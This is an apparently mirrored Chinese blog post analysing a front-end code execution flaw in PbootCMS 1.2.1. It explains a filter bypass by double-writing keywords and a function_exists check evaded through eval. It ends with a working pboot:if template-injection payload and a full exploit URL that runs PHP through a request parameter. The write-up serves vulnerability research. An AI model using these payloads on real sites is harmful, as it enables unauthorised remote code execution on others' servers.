zoukankan      html  css  js  c++  java
  • 基于tp3开发的cms-前台代码执行

     

     

    内核 thinkphp

    PbootCMS-V1.2.1

    ├─ apps         应用程序

    │  ├─ admin     后台模块

    │  ├─ api       api模块

    │  ├─ common    公共模块

    │  ├─ home      前台模块

    ├─ config       配置文件

    │  ├─ config.php    配置文件

    │  ├─ database.php  数据库配置文件

    │  ├─ route.php     用户自定义路由规则

    ├─ core         框架核心

    │  ├─ function  框架公共函数库

    │  │  ├─ handle.php 助手函数库1

    │  │  ├─ helper.php 助手函数库2

    ├─ template     html模板

    ├─ admin.php    管理端入口文件

    ├─ api.php      api入口文件

    ├─ index.php    前端入口文件

    找到外部访问的点  进行 $_GET   $_POST  $_COOKIE  进行数据检测

    在core/function 框架公共函数库   我handle.php 助手1 和 helper.php 助手2

    会把所有接收的字符串进行处理,将过滤的函数替换为空

    这里用双写就可以绕过

    Updatexml  updaupdatexmltexml

     

    代码执行

     

    通过敏感函数定位,到这里

    需要绕过的地方

     

    这里会把 if 标签内的函数 执行位置 判断是否为函数

    如果是的话,就为危险 退出,不执行eval

    绕过的方法,是function_exists  为 false

     eval 是一种语言结构,不是函数

     

    所以在 function_exists 的时候 返回false  进行了绕过。

    触发流程

     

    {poot:if(php code)}{/poot:if}

    触发该标签即可

    php code  要以eval(xxx) 这样来执行

    因为判断了 $matches2[1] 这个位置

     

    執行parserIfLabel  parserAfter

     

     跑了parserAfter 的地方,比如 Index 這裏

     

     我在後台做一個測試

     

    保存,在主頁  直接访问主页测试,可以触发

     

    這是閉合后的

    {pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}

     

    没有闭合前

     

    $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';

    主要还是配合 正则匹配的规则 然后进行多余的代码闭合 最后可以任意执行代码

    {pboot:if(eval($_REQUEST[1]));//)}}{/pboot:if}

    代码执行

    除了这index之外   about、 list 、search  几处都可以

    那么如何前台利用 ~

    payload idnex 处   其他几处利用方法相同 

    view-source:http://127.0.0.1/pt1.2/index.php/index?echod={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

      

    {pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if} 可以看到在源码这一块输出 是没有这个标签的,因为标签的代入,进行了解析,从而执行了代码。

  • 相关阅读:
    今天VSS 了一把
    中文字母检索
    当心! 您也可能犯得js错 eval()不等于eval("")!
    腾讯微博邀请码2010年6月9日11:14:28
    存储过程原理
    腾讯微博邀请码2010年5月25日16:44:24
    《QQ我的好友想到的信息架构》
    8小时之外(Beyond the 8 Hours)
    超搞笑漫画比喻!如果浏览器是出行工具
    Nginx环境下配置PHP使用的SSL认证(https)
  • 原文地址:https://www.cnblogs.com/0xdd/p/10848602.html
Copyright © 2011-2022 走看看